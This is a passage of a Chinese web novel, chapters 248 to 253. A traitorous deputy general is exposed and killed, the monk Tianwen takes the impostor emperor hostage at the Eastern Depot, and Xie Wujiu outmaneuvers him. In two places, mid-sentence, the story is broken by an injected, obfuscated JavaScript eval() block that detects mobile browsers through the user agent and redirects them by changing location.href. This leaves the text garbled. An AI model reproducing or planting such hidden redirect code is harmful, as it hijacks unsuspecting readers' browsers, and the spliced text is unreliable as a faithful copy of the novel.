“我本来就要下山,不用你们骗,你们却要偷梁换柱地揽下这个活计,是准备在下山的路上,对我动什么手脚?” 叶晚竹不紧不慢地走上去,将两人都仔细打量了一番,而后捏住了孙成的下巴。 “说吧,你都做了什么?” 孙成这会儿哆嗦得更加厉害了,上下牙关都在咯嘣咯嘣地响着。 都不用叶晚竹再怎么威胁,他便痛哭流涕起来。 “是百夫长,都是他让我干的!他给了我一样东西,让我埋在下山的路上,还穿了引线,就等着让您踩呢!” “你在搞什么把戏?” 闻言,徐将军一脸愤怒地朝着百夫长走了过去,眼中仿佛有火苗要喷发出来! 百夫长显然要顽强一些,还想沉默以对,不过,等叶晚竹一脚朝着他的手指踩下去,听着骨头碎裂的声音响起,这位也忍受不住地跟着哭嚎起来,“我,我也是受人指使!是毕副将让我这么干的!” 他话音未落,林中忽然传来一阵急促的动静! 第二百四十八章 内鬼 徐将军下意识地转头朝着后面看了过去。 “放开我!你放开我!” 响动越来越大,毕副将一身凌乱,脸色铁青,被柳寻雁勒着脖子,两人一路缠斗着朝这边走了过来。 “想跑到哪儿去啊?阵前脱逃,这应该不是什么为将之道吧?” 柳寻雁显然是占尽上风的那一个,死死地桎梏着毕副将,说话的时候声音也还是平稳的。 毕副将就狼狈得多了,发髻都在挣扎中散乱下来,糊了一脸的头发,脸上还有一个清晰可见的巴掌印。 “你在说什么?我听不懂!还有你这奇怪的女人,是从什么地方来的?” 柳寻雁又哼笑了一声,“这你别管,先想想自己该怎么圆吧!” 她手上用力,又狠狠地扯了一把,毕副将的脸色肉眼可见地变得更加难看! “你给我滚过来!” 徐将军这时候也铁青着一张脸大步走上前来,柳寻雁见着他的动作刚一放手,他就一把揪住了毕烽的衣领。 “说,到底怎么回事? 用力把毕烽朝着自己扯了过去,徐将军牙关紧咬,极力压低了声音。 “你给我解释!” 徐将军和毕烽相识多年,当初一同投军,从小兵一路走到现在的位置,向来都是可以互相托付生死的。 可眼下,眼下…… 眼底漫出一抹血色,徐将军攥着毕烽衣领的手又用了几分力气。 “说!”他的语气中掺杂着滔天的怒意。 毕烽也是牙关紧咬,眼眶通红,只是比起徐将军,他的眼中似乎又多了一种说不清,道不明的东西。 “将军……”毕烽声音颤抖,“我们一直以来做的事情,真的是对的吗?” 这是在说什么玩意儿? 饶是徐将军已经快被自己的怒火烧穿天灵盖,听见毕烽这话,也忍不住错愕地瞪大了双眼。 而毕烽的神情却变得越发悲悯。 “将军,”他的嘴巴一张一合,“我们究竟是在为谁做这些事情呢?” 徐将军的表情这下就变得更错愕了。 “你疯了?” 定定地看了毕烽半晌,徐将军只能想到这一种可能。 莫不是近来这段时间压力太大,亦或是毕烽一不小心,也着了那些秃驴的道? 眸光游移,徐将军一时间有些拿不定主意。 见着他的模样,毕烽的眉头却越发紧蹙,神情也跟着更加忧虑。 “我们——” “你省省吧!” 就在毕烽又一次张开嘴的时候,一个巴掌从天而降! 叶晚竹在两人之间很不客气地横插了一杠,抬手就毫不留情地扇上了毕烽的嘴! 她这一下没有收力,啪地一声,毕副将的嘴巴就狠狠地挨了一下。 还没来得及出口的话全都成了痛呼,毕副将瞪大双眼,气呼呼地朝着叶晚竹看了过来。 方才那凄凄切切的神情瞬间就不见了,取而代之的是无尽的愤怒! “你这个女人,只会坏事!”他朝着叶晚竹怒吼! “哦?” 闻言,叶晚竹抱起双臂,丝毫不以为意。 “那你就说说吧,我都坏了你的什么事?” 毕烽蠕动了一下嘴唇,似乎是想说什么,却又没开口。 “你不说,那我可就说了。” 叶晚竹又笑了笑,掰着指头,不怀好意地朝着毕烽看了过去。 “第一件,应该是我大闹白云观,吸引了徐将军的注意。” “第二件,是我抓住了你的这两个手下,顺便把你也暴露了出来?” “这第三件……可能,是我没配合你的秃头主子吧。” 口中说着问句,叶晚竹的神情却是十分笃定的。 “你也是天问大师座下的一条好狗,是不是?他拿什么好吃的收买了你?” 还在西北的时候,叶晚竹就和徐将军还有毕烽认识了,那个时候的毕副将十分正常,看不出任何要变成今天这幅模样的迹象。 再想想他方才那故弄玄虚,飘飘忽忽的语气,并不难联想。 毕烽的表情还是十分难看,阴恻恻地瞪着叶晚竹,眼底又渐渐地涌现出几抹凶光—— “瞪谁呢?” 柳寻雁冷不丁地从后面伸手,抡圆了胳膊将又一个大巴掌朝着毕烽的后脑勺扇了上去! “好好说话!”她沉着一张脸,“身为大梁将士,另投别主,还不知道自己是个丢人败兴的东西吗?” 居然还敢如此趾高气昂地教训人? “你是个什么玩意儿!”她又狠狠地扇了一记过去。 毕烽的脑袋在柳寻雁手中好像是个西瓜,被敲得邦邦响,他的眼神也跟着恍惚起来。 “行了,别扯你那些废话。” 叶晚竹有些不耐地又踹了他一脚。 “天问大师是怎么吩咐你的?” 她话音落下,毕烽还没反应,另一边,徐将军的表情却先变了变。 他又想到了上山时毕烽说的那些话。 若当时前锋那边没有恰好乱起来,万一自己听信了毕烽的胡言乱语…… 越想越慌,徐将军手上的力气也跟着加大。 “你给我老实交代!”他咆哮起来。 毕烽神情漠然地看着眼前这几个人,而后忽然哈哈大笑,好像要把自己活活笑死似的,整个身子都在剧烈地颤动着。 “晚了,晚了……都晚了!” 他笑得连话都有些说不清楚,须得仔细听才能分辨出其中的内容。 “什么晚了?” 岑灵川眉头一皱,碍于脚下还踩着两位,不便动作,只能是鼻子不是鼻子,眼睛不是眼睛地朝着毕烽这边嚷,“你给我说人话!” 神神叨叨的,吓唬谁呢! “什么都晚了!” 毕烽笑着看了过去,眼角眉梢都写满了喜悦,岑灵川看在眼中,都不由得愣住了。 这货看起来真的很高兴! “你们的所作所为,都是在浪费时间!”毕烽又笑得更加开怀,“大师的计划已成,谁也阻止不了啦!” “我劝你们还是早点放弃,归顺大师,只要你们心诚,大师一定会优待你们的!” 徐将军已经是怒不可遏,“我宰了你!” 叶晚竹拦住他拔刀的手,“和小院里的白雾,还有那个女人有关?” 毕烽面上的笑容僵硬了一瞬。 第二百四十九章 不见了? 叶晚竹又冷笑了起来。 她就知道! “什么女人?”徐将军把眉头皱得更紧了。 “将军!”毕烽忽然转过脑袋,“她居心不良,早就和我们不是一条心了!您千万别相信她!” 被毕烽霍然抬手指着,再听他这话,叶晚竹的笑容变得更加讽刺。 “到底谁不可信,你现在还分不出来吗?还是你觉得你的新主子是个什么了不起的人物,他说的话,所有人都得听?” 闻言,毕烽的表情显然变得更愤怒了。 “住口!” “徐将军,”叶晚竹这会儿径直转过头去,“这人,你还有用吗?” 虽然还不知道毕烽到底在天问大师手下起到一个什么样的作用,也不知道他的计划进行到了哪步,但很显然,这位现在已经是天问大师的忠实信徒,不会再提供任何有效的信息。 不如不留。 徐将军显然也明白了她的意思,摇了摇头,空着的那只手转而也去摸上剑柄,“没用了——” 他刚碰上剑柄,眼前一晃,血花四溅! 叶晚竹反手摸出一把匕首,连眼睛都没眨上一下,便干脆利落地破开了毕烽的喉管、。 毕烽显然也想不到她会这般出手,眼底满满的全是惊愕,无力地挣扎了几下,脑袋一歪就断了气。 收回匕首,叶晚竹的嘴角依旧挂着那抹冷笑。 “不劳将军动手了。”她和徐将军说话的时候,语气却还是柔和的。 徐将军抿了抿唇,一时间也不知道再该说什么才好。 他和毕烽生死过命的交情,竟然一点儿都没看出来他想做的这些疯狂的事情! 一把将毕烽还在流血的尸体丢开,徐将军重重地叹了一口气,神情有些颓败。 “徐将军。” 叶晚竹的话却没有停。 “毕烽是您身边副将,他若处心积虑,军中或许已经有了不忠之人,您得想想办法。” 因着要抓孙成,徐将军将这块地方空了出来,这会儿功夫,毕烽的事情还没有传到大军那边去。 可纸是包不住火的。 徐将军闻言也深吸了一口气,眉头皱成一个大疙瘩。 眼下正是要用兵的时候,却出了这种事! 二十万大军,就算是原地排查,也要花上不少功夫! 京城那边怎么能等得住? 又气又恨,徐将军忍不住又踹了毕烽一脚,而后大步朝着孙成和那个百夫长而去。 “你们两个!把知道的都说出来!”他沉声道。 孙成早就已经被方才发生的一切吓破了胆子,趴在地上一迭声地求饶,就算岑灵川已经从他身上离开,他也没有半点要起身的意思。 那百夫长也傻了眼,只会一个劲儿地哆嗦着,却是什么话都说不出来。 “两个废物!” 见状更是心头火起,徐将军挥剑也将这两个人的脑袋砍了下来! 顿时血流遍地,周遭一片寂静,只能听见徐将军沉重的呼吸声。 他攥着剑柄的手不断颤抖,看着脚边那两颗死不瞑目的人头,一时间开不了口。 “徐将军。” 叶晚竹静静地站在一旁,眼见着徐将军的情绪有所平复,这才轻声开口。 “前方情况不明,如今军中消息也不牢靠,若是将军信得过,便让我师兄往前探查,我和师姐留下来检查大军的情况,如何?” 天问大师在白云观的计谋没成,还差点儿被抓住,这个时候想来已经是气急败坏了。 他会做什么? 叶晚竹的目光不由得朝着京城方向看了过去。 “请将军告诉我要做什么吧!” 岑灵川这时候脚步轻灵地朝着徐将军走了上去,抬手抱拳,面上也隐去了不着调的笑意。 “在下一定尽力!” 回过神来,再看看眼前的这一片狼藉,徐将军闭了闭眼,“好!” 连自己的副将都不可信,军中的人手这个时候更是不能用了。 眼下,也只能是死马当作活马医! 徐将军低声和岑灵川说了几句,后者一一记下,而后便飞身而起,朝着京城方向离开,很快就没了踪影。 留下几人依旧站在原地,互相望望,一时间也是沉默无言。 “先打扫这里吧,免得又节外生枝。” 片刻之后,柳寻雁率先开口。 叶晚竹跟着点点头,三人一道将地上的血迹抹除,又转过身来收拾那几具尸体。 “等一下?”徐将军忽然轻声发出疑问。 他方才一力拦下了叶晚竹和柳寻雁要帮忙的想法,坚持自己来搬尸体,孙成和百夫长都已经被拖到了一旁,他刚在毕烽身边蹲下,便发现了不对劲。 叶晚竹闻言上前,低头看着毕烽的尸体,停顿片刻,脸色也变了变。 “血呢?” 毕烽仰面朝天地躺在地上,和刚刚死去的时候乍一看并没有什么不同。 可在他身边的地上,土壤干干净净,带着无比正常的黄黑色泽。 这里本该被鲜血染透才对。 “他身上的血也不见了。” 柳寻雁这时候也凑了过来,抱着双臂将毕烽的尸体打量一番,又抬手指了指他的脖颈。 方才被叶晚竹一刀割喉,毕烽倒下去的时候,上半身溅满了鲜红的血迹,那画面让人十分印象深刻。 眼下却都不见了。 毕烽的身上干干净净,连甲胄上的血迹都消失得无影无踪。 他脖颈上的伤口大大地敞开着,隐约能看到喉管的痕迹,饶是这般,也没有一滴鲜血存在。 “这怎么可能?” 徐将军难以置信地皱着眉头,借着蹲下身子的这个动作,又弯下腰,仔仔细细地朝着毕烽的伤口看去。 叶晚竹余光一扫,似乎有什么感觉,转头看去猛地倒吸一口冷气! 毕烽的手指动了动! “将军!快退!” 另一边,岑灵川身形如燕,毫不费力地在密林中来回穿梭着,很快便抵达了徐将军所指的目的地。 在他之前,徐将军已经派斥候往前来打探了几回,情报都是现成的,只等岑灵川打探南疆军的进一步动向。 这任务绝对算不上困难,他屏住呼吸,朝林子外的大军藏匿方向看了过去。 “人呢?” 第二百五十章 我找九千岁 “你!你怎么在这儿?” 宫中,安王刚睁开双眼就看到一个黑影一动不动地站在自己面前,忍不住惊叫出声! 从东厂回来之后,安王的心里越发变得乱七八糟,独自把自己关在屋中,胡思乱想了大半天,最后大概是不知不觉地睡着了。 谁知再一睁眼,竟然又和天问大师对上了视线! 揉揉眼睛坐起身来,安王望着屋中昏暗的烛灯,一时间有些怀疑自己这其实是在做梦。 这人不是刚刚才来过吗? 思索一瞬,安王果断向后一倒,重新把自己丢到了床上! 这一定是他做的一个噩梦! 又或许一切都是他的噩梦,等再睁开双眼,或许自己还躺在安王别院的大床上! 那就太好了。 “陛下。” 天问大师冷淡的声音在耳边响起,安王的眉头下意识地皱起,人却依旧固执地躺在床上,也不曾睁开双眼。 他不想睁开眼睛,发现这是真的! “陛下!” 天问大师再出声的时候,语气就显得不是那么客气了,见安王眼皮抖动,却依旧没有任何要睁开眼的迹象,天问大师忍不住伸出手去,一把扯住他的领子! “诶!诶你这是要干什么?” 被一股大力硬生生地从床上扯了起来,饶是安王再想自欺欺人,也实在是装不下去了,他猛地睁开眼睛,怒瞪着眼前的天问大师。 “放、放朕下来!” 差点儿说漏了嘴,安王本就不算厉害的气势顿时又变得虚弱了几分。 等他再看见天问大师无比阴沉,仿佛能滴水下来的脸色,安王所剩无几的那点气势便差不多要跑得无影无踪了。 方才天黑,他还没看清楚,这位大师现在瞧着好像随时都能扭断他的脖子! 安王立刻缩了缩脑袋,面上的表情也变得讪讪起来。 “那个……大师,您深夜来访,是,是有什么要紧的事情吗?” 大概是见他识趣,天问大师周身的阴沉感微微散开,攥着安王衣领的动作也跟着松了松。 “的确是有件事,希望能得到陛下的配合。” 天问大师嘴上说得温文尔雅,可配合二字一出,安王便下意识地打了个哆嗦。 准没好事! 在天问大师离开的这一整天里,都发生了什么? 安王试图转动自己的脑袋,却发现并没有任何作用。 “那,那大师就先说吧……”他很快又变得更加讪讪。 天问大师这回也不跟他兜圈子了。 “九千岁这会儿在什么地方,陛下可知晓?” 来问谢无咎的? 安王呆滞的表情着实能掩盖不少心绪,他顶着这张脸,实则在疯狂地思索着。 说,还是不说? “贫僧有些急事,还望陛下动作快些。” 还想多装傻充愣一番,可惜安王的思绪还没转完,便又被天问大师打断了。 不仅如此,天问大师的手又用上了几分力气。 窒息感猛地用上,安王顿时瞪大双眼,呼吸也变得急促起来。 他再看向天问大师,对方面上也又重新挂上了阴沉的情绪。 “陛下。” 缓缓开口,天问大师的语气似乎已经忍耐到了极限,随时都会压制不住,喷发而出。 “贫僧再给您一次机会。”就连他出口的话都已经控制不住疯狂的味道了。 安王心如擂鼓,手脚发软,脑海中一片空白。 “朕,朕带你去!”他哆哆嗦嗦地抬起眼来,“谢无咎这时候应该还在东厂,临时传唤太过刻意,朕带大师过去!” 天问大师垂着目光,看着抖若筛糠的“昭德帝”,眼神流转,片刻后轻轻地松开了桎梏着他衣领的手。 “那就请圣上快些带路吧?” 他虽然松了手,但看上去也不是好惹的样子,在天问大师冷淡目光的催促之下,安王匆匆换上一身衣裳,屏退了要上前伺候的小太监,独自一人走出宫室,朝着东厂方向而去。 四周一片漆黑,安王脚下正在犹豫,眼前一亮,是天问大师手举灯笼,又悄无声息地出现在他面前。 这位什么时候走路能发出点声音? 敢怒不敢言,安王抿着嘴唇接过灯笼,憋憋屈屈地自己打着光亮,走在前面给自己引路。 烛光一摇一晃,将影子拉得老长,又怪异地扭动着身躯。 安王不敢回头,只敢凭借另一个影子,来判断天问大师这会儿依然跟在自己身后。 感觉到对方身上的戾气似乎又淡了一些,他鼓起勇气,再次开口。 “不知道大师找九千岁是有什么要紧的事情?需不需要朕帮忙?” 安王不敢忘了谢无咎白天时候说的那几句话,在天问大师没杀到要杀的人之前,他得跟这位保持友好! 天问大师闻言轻笑了一声,那笑声却绝对算不上是善意的。 “陛下,您还是先管好自己吧。” 安王手腕一哆嗦,险些将灯笼也打翻在地! 他咬紧牙关不曾再开口,心底看不到的地方,却忍不住泪流满面! 他现在不是皇帝吗? 九五之尊,就是被这么嫌弃的? 内心腹诽归腹诽,碍于天问大师的本事,安王也不敢说什么,只能加快脚步,憋憋屈屈地一路把天问大师送到了东厂门外。 这个时候,宫城其他地方都已经陷入了一片黑暗,可东厂之中却是灯火通明,隔着一道大门,安王隐隐约约还能听到里面传来走动和说话的声音。 “真是热闹。” 在他身后,天问大师不咸不淡地点评了一句。 “大师,您请吧?” 收回注意力,安王转身朝着天问大师道。 天问大师却又老神在在地朝着他露出一个笑容,“有劳陛下再替贫僧通传一番。” 他是皇帝还是太监? 又默默地咬牙切齿了一番,安王最终还是认命地转过脑袋,伸手在东厂的大门上敲了几下! “是谁?” 院中的动静几乎在一瞬间就完全消失了,一个警惕的声音响起。 认出这是谢无咎身边的隐月,安王清了清嗓子,眼珠子也转个不停。 “朕——” “让你们的九千岁出来,否则,贫道就砍了陛下的这颗脑袋。” 第二百五十一章 这么快就露馅了? 伴随着问话声,隐月刚拉开东厂的大门,安王眼神一闪,正要说话,就被天问大师一把扼住了喉咙! “呃!” 下意识地发出一声惊呼,又全都憋在了嗓子眼,安王的眼珠子来回转个不停,表情也十分惊恐。 怎么一句话都不说,就这么动手了? “你,”隐月的动作顿了顿,“你是谁?放开圣上!” “别装了!” 天问大师冷冰冰地笑了一声,更加冰冷的眼神又朝着被自己禁锢在怀中的安王而去。 “贫僧早些时候和陛下的那场会面,应该已经一点不漏地全都传到了九千岁的耳朵里面去了吧?” “再者说,这位真的是圣上?那这把妙手回春的好嗓子,倒是让贫僧十分羡慕了。” 他语气讥诮,眼底明晃晃写着了然。 白日或许还只是有些疑惑,可等到这一次对上这位“昭德帝”,天问大师心里的想法便十分肯定了。 虽然长着一模一样的脸,但此人行事慌乱,胸中没有半点城府,一看就不是真正的圣上。 龙椅上坐着的这位是假的,那真正的昭德帝能去了什么地方? 微微一笑,天问大师勒着安王的胳膊便更加用力了起来。 “都到了这个时候,废话也无须再说,”他骤然抬起眼皮,“让谢无咎出来,你们,全都给我退开!” 眼风一扫,天问大师便朝着东厂之中看去,隐隐约约能从门缝中看到不少影子。 他的笑容便更是显得游刃有余。 “你去告诉谢无咎,别跟贫僧耍什么花样,只要他还想要圣上的性命,就老实点!” 这位看上去是没有半分能商量的意思了。 隐月还放在门板上的手紧了紧,目光不善地盯着天问大师看了片刻,最后还是落在脸色惨白,汗如雨下的安王身上。 才演了不到一天,就露馅了? 安王这会儿是有苦说不出。 他是想好好完成昭德帝留下的任务来着,可是天问大师这个老秃驴,他能偷偷摸摸地跑到皇帝的寝宫里啊! 连一点儿准备的机会都不给他,他能不叫吗? 他也不想露馅,是敌人太强大了啊! 看着安王绝望的表情,隐月也只能咬了咬牙。 “你在说什么鬼话,我听不懂,”他硬着头皮不松口,“但你给我客气点!若是陛下少了一根汗**——” “啊!” 隐月这妥协的威胁还没说完,天问大师便一挥袍袖! 没人看清他是怎么动作的,唯有安王的惨叫声紧跟着响了起来! 他左臂的袖子被利器割开了一道大口子,胳膊更是遭了殃,鲜血不断流出,顺着手指滴滴答答地往地面上落了下去。 “你要干什么你!” 无缘无故被割了一刀,安王一路隐忍到现在,实在是再也忍不下去,不顾喉咙被扼住的窒息感,也大声地咆哮了起来。 “你是不是听不懂人话?” 没听见隐月的意思就是要去叫谢无咎过来了吗! 还给他一刀,是要干什么! 隐月的表情也变得十分难看,瞪着天问大师,有些拿不准这人到底是怎么想的。 白日里,安王来过第一趟后,他们这些谢无咎的手下便开始顺着已有的线索,打探这个天问大师的来头。 结果却是一片空白。 昭德帝还活着的时候,在他的态度之下,大梁本就不重视宗教之道,这些大师道长,成不了太大的气候,只能各自划地发展信徒,没有官方登记在册,找起来简直是没有半点头绪。 可那些民间组织的头目,却也不应该有天问大师这样鬼魅的身手。 能不惊动任何人摸到皇宫最重要的地方,这样的一个人,怎么会是寂寂无名的? 可时间太短了,第二轮人手甚至还没出动,这位就已经杀到东厂来了。 如此迅猛的速度和布局,显然也是一早便计划好的。 那也就是说,这位天问大师早就对皇位虎视眈眈了? “怎么,你还不去叫人吗?” 想着心事,隐月略微迟疑了片刻,天问大师的声音便再次响了起来。 他又勒着安王的脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897970|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子把他往上抬了抬。 “你这戏演得也不怎么样,皇上在面前遇难,你身为手下,竟然还在发呆?” 又在皇上二字上加重了语气,天问大师眼底的讥诮浓得简直要溢出来了。 安王沉默地听着,不由得眼角抽动。 有哪一位得道高僧,会用这种嘚瑟又不屑的语气,三番五次地激怒对手? 这秃驴难道以为自己的戏就演得很好吗? “快去叫人,贫僧没有太多耐心——” 天问大师还在威胁着什么,这时候,几声爽朗的大笑从东厂大殿的方向传了过来。 “真的吗?可本督怎么瞧着,大师的耐心足得很呐?” 话音落下,谢无咎也大步走到了天问大师的面前。 虽然已经到了深夜时分,他却换上了那身玄袍金**,气势非凡。 不紧不慢地站定下来,谢无咎微微掀起眼皮,先看了看天问大师,而后目光又一路朝着安王而去。 安王不禁又讪讪地缩起了脖子。 “废物。” 薄唇一掀,毫不留情的话从谢无咎口中迸出。 安王顿时又愣住了,有些反应不过来,呆呆地望着谢无咎,不知道该说什么才好。 他承认他露馅了,但也不至于这么—— “这么一件事都办不好,本督要你有何作用?” 谢无咎并没有骂一句就停歇的打算,语气依旧锋利,还带着高高在上的嫌弃。 “天问大师不杀你,本督也要取了你这个废物的脑袋!” 安王咽了咽口水,这会儿大脑终于开始转动了。 这好像不是在真的骂他! “九千岁,事到如今,您还打算和贫僧演下去吗?” 默默地看着谢无咎口吐恶言,十分嚣张的模样,天问大师身上的戾气不知道什么时候似乎散了个干干净净。 不仅如此,他反而松了松胳膊上的力道,好让安王能多喘一口气,又笑着朝谢无咎看了过去。 “九千岁这般说辞,是想故意让贫僧怀疑此人的身份不同寻常?那您可就——” 第二百五十二章 又来合作? 错了! 这两个字还没出口,伴随着一阵劲风,天问大师眼前一晃! 不好! 本能地感到不对劲,一股凉气也在瞬间从背后蹿了上来,天问大师急急收手后撤,顺便一脚把安王踢了出去! 可这也已经晚了,后背传来一阵剧痛,天问大师不得不拧身躲开,脚步踉跄地**了好几步,才将将稳住身形。 喉咙间涌上了一股浓郁的血腥气,天问大师猛地抬头朝前看了过去。 只见两个黑影不知道是从什么地方忽然出现的,一人扶着双脚发软的圣上撤退到谢无咎的身后,另一人则是刚刚才放下手,望着天问大师,眼底满是杀意。 又咳嗽了两声,牵动得胸口一片剧痛,天问大师忿忿地盯着谢无咎。 “大师刚才是要说什么?” 一招夺回人质,谢无咎此时的表情就显得游刃有余多了,他双手背后,笑得眉眼弯弯,却一看就是不怀好意。 “要说本督这招没用?不过,只要能让大师分神就行。” 天问大师闻言更是眼底生寒。 谢无咎的本事他是知道的,本以为这样的情形之下,只有谢无咎能动手,却没想到这东厂之中,竟然还有如此藏龙卧虎的高手! “所以,大师刚才的那些话,现在是不是可以轮到本督来讲了?” 谢无咎这时候又朝前走了两步。 “大师,哦,或许不应该这么叫你,毕竟佛门大家之中,应该容不下你这样心思丑陋的畜生东西。” “那……秃子,你是什么人,想干什么?”他从表情到语气,都显得十分认真。 安王这会儿仍是手脚发软,浑身无力,感觉自己在鬼门关走了一遭,魂儿还没有归位。 可听见谢无咎的这个称呼,他还是忍不住瞪大了双眼。 秃子? 扑哧一声,实在是没忍住,安王不小心笑出了声。 天问大师那双眼睛立刻就如刀锋一般,朝着安王的方向剐了过来。 安王立刻闭嘴,谢无咎却身子一斜,挡住了天问大师投来的眼神。 “话是本督说的,你却去瞪陛下,柿子专捡软的捏,本督看你也不算是个秃子,最多,是条叫得响的**。” 这话的攻击性就更强了,天问大师不着痕迹地攥紧了拳头,看着谢无咎的时候,眼中已经有杀意在熊熊燃烧。 “早闻九千岁口舌犀利,今日一见果然如此。” 强迫自己定了定神,天问大师才再度开口,语气看似一片正常,实则却还是隐隐透着颤抖。 “就是不知道,九千岁有没有兴趣与贫僧合作?” 他这话刚一出口,安王便再也忍不住,直起身子看了过来。 “你要不要脸啊?” 安王怒瞪着几步开外的天问大师,“跟我说合作不成,现在又开始和九千岁说合作,你还要和谁合作?有半点信誉可言吗?” 他这个合作的“受害者”现在是什么下场? 要不是有这两个昭德帝留下的影卫,安王想,他这会儿十有**已经去投胎了。 “不要脸的秃驴!” 仗着有高手在身边,安王又很不客气地啐了天问大师一口。 天问大师面上的神情几乎没有半分波动。 他的目光一直落在谢无咎的身上,仿佛刚才发生过的一切都不作数似的。 “九千岁,有的时候,合作也要分情况而定。” 淡淡地说着话,这位才终于朝着安王投来一瞥,目光却是无比高傲不屑。 “合格的盟友,当然也要经过检验才能维持。” 安王听着这话,险些气歪了鼻子。 这就是说他能力不行,做不成这位天问大师的合格盟友呗? 可从一开始,就是这货登堂**地来强迫他入伙的! 谁稀罕跟这么一个秃驴当盟友! 谢无咎这时候也笑了起来,看着天问大师,将他眼底的不屑如数奉还。 “这话说得不错,但很可惜,你连让本督检验的资格都没有。” 天问大师闻言,目光立刻变得阴冷逼仄,好像要随时对着谢无咎动手似的。 见状,隐月上前半步,小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15897971|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挡在谢无咎身前。 “九千岁真的不再考虑一下了吗?” 又定了定神,天问大师依旧不折不挠地看着谢无咎。 “以九千岁的本事,在贫僧身边,一定能创造出更大的价值。” 谢无咎唇边的冷笑变得越发明显。 “大师,你实在是把自己抬得太高了,给自己脸上贴的金,也太多了些。”他缓缓开口,“又或者说,大师只是随口胡扯两个理由,想骗本督入伙,等加入你的团伙之后,中些诡计,就只能任你予取予求了?” “这样毫无诚意的招揽,你自己觉得能找到什么好盟友?等再经过你那时间的检验,只怕留下来的,更是一群废物,本督可没有和废物搭伙的兴致。” 随着谢无咎这一句句话不断道出,天问大师的表情也跟着一点点难看下去,脸色阴沉得好像随时都能爆发。 谢无咎却还没说完,“至于你——要是能痛痛快快地交代一切,再束手就擒,本督倒是可以考虑给你留个全尸。” “好大的口气,不愧是九千岁。” 定定地看了谢无咎半晌,天问大师这才开了口,眼神闪动,语气也是说不出的怪异。 “不过,多亏了你的自大,才给了贫僧拖延时间的机会。” 什么拖延时间? 安王闻言先是瞪大了双眼,而后又很快地明白了过来。 这秃驴一个劲地挑衅他们,是另有所图! 谢无咎也笑了笑,语气恻恻。 “哦?大师就那么确定,只有你在拖延时间吗?” 天问大师脸上的笑容不由得又顿了顿,“你什么意思?” 他话音落下的瞬间,铺天盖地的黑影顿时从四面八方出现,锦衣卫们也从谢无咎身后鱼贯而出,将天问大师牢牢地包围在其中。 左顾右盼了一番,天问大师的表情在看到被隐翼架着走出来的那个人影时,终于彻底地变了脸色。 谢无咎吹了声不长不短的口哨,伸手上前,将那人影的脑袋一抬。 “来,本督最信任的手下,跟你真正的主子打个招呼吧。” 第二百五十三章 时间拖延得差不多了 随着谢无咎的动作,隐竹满脸是血的脑袋被抬了起来,了无生气地靠在谢无咎的手心里。 他双眼紧闭,呼吸微弱,就算是还活着,这会儿看起来也和**并没有太多区别。 “隐竹可是本督座下第一人,与本督出生入死的交情,天问大师,敢问你是用了什么办法,让他叛变的?” 谢无咎的掌心摩挲着隐竹的下巴,语气平淡,可听在众人耳中,却让他们齐齐一凛。 天问大师的表情也终于变得难看了起来。 “还有,大师是什么时候策反了他?”谢无咎的目光又朝着天问大师看了过去,“论趁虚而入,你倒是登峰造极。” 谢无咎发现隐竹有问题,是在给安王易容的时候。 五官能通过手艺调整,声音原本也是可以的,可隐竹却谎称那最重要的工具丢了,无法为安王将声音调整成昭德帝的模样。 这摆明了是在推脱搪塞。 谢无咎本以为这是隐竹对受罚的不满和报复,毕竟他也是个锱铢必较之人。 可他本想搜出隐竹藏起来的工具,顺便给他一个教训,却不想,误打误撞,竟然发现了他向外传送密信,泄露东厂情况的作为。 谢无咎原本还十分疑惑,隐竹为何要做出这种事情,眼下见着了天问大师之后,一切疑问都迎刃而解了。 “原来本督身边也有这么一个探子。”他释然地微笑着。 “哼,不错!” 大概是彻底暴露了出来,图穷匕见,天问大师也不装了,冷冷地勾起嘴角,露出一个阴沉的笑容。 “为了这一天,贫僧可是费了不少的功夫啊。” 往京中各个可能的地方安插自己的人手,再一次次地暗示这些达官贵人,或者是军中大将做出一些不好的猜测,这可不是一天就能办成的事情。 “事到如今,看来是颇具成效。” 天问大师又挺了挺腰杆。 “什么成效?” 似乎是对他这话十分好奇,谢无咎倏地放开停留在隐竹身上的手,睁大了双眼朝着天问大师看了过去。 “莫非……你指的是让京城乱起来的成效?” 天问大师笑而不语,眼底显出一丝淡淡的得色。 但这点隐而不发的炫耀,很快便在谢无咎张狂的大笑声中消失得无影无踪。 “你笑什么?” 谢无咎笑得实在厉害,饶是天问大师的心态方才还十分愉快,这会儿也被笑得渐渐皱起眉头,语气也变得十分不好。 谢无咎闻言却并未理会,又自顾自地笑了一会儿,方才抬手擦了擦眼角溢出来的几点泪水。 “我当然是在笑你啊,井底之蛙。” 听着这个评价,天问大师的脸色顿时又变回了铁青。 他胸膛起伏,被这话明显地冒犯到了。 谢无咎双手背后,语气又变得轻飘飘的。 “想让京城生乱,都要费上这么大的力气,安插了无数人手吧?大师,有这样的功夫,您都不愿意亲自现身,只想鬼鬼祟祟地躲在后面,坐享其成,像您这样的怂包软蛋,本督确实是没怎么见过。” “就算是当条狗,多少也得有一战的勇气吧?” 这话就更是让天问大师涨红了脸色。 “隐竹啊。” 自顾自地说完话,谢无咎似乎是对天问大师的脸色没有半点兴趣,扭头又朝着隐竹看了过去。 “事已至此,你不妨也说说吧,这位井底之蛙的大师,是怎么说服你这只小蛙的?” 说到最后一句,谢无咎转过身子,眼底终究还是带上了几许暗色。 